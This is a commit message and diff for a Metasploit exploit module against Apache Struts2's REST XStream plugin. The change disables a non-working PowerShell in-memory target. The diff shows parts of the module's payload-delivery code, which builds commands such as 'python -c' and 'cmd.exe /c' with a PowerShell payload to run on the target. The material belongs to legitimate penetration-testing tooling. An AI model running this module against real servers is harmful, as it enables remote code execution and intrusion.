Comment out PSH target and explain why

I hope we can fix the PSH target in the future, but the Windows dropper
works today, and you can specify a custom EXE if you really want.

modules/exploits/multi/http/struts2_rest_xstream.rb

@@ -42,10 +42,12 @@ class MetasploitModule < Msf::Exploit::Remote
           'Platform'   => 'python',
           'Arch'       => ARCH_PYTHON
         ],
+=begin this stuff that doesn't work yet
         ['PowerShell (In-Memory)',
           'Platform'   => 'win',
           'Arch'       => [ARCH_X86, ARCH_X64]
         ],
+=end
         ['Linux (Dropper)',
           'Platform'   => 'linux',
           'Arch'       => [ARCH_X86, ARCH_X64]
@@ -92,6 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
     when /Python/
       %W{python -c #{cmd}}
     when /PowerShell/
+      # This doesn't work yet
       %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
     when /Windows/
       %W{cmd.exe /c #{cmd}}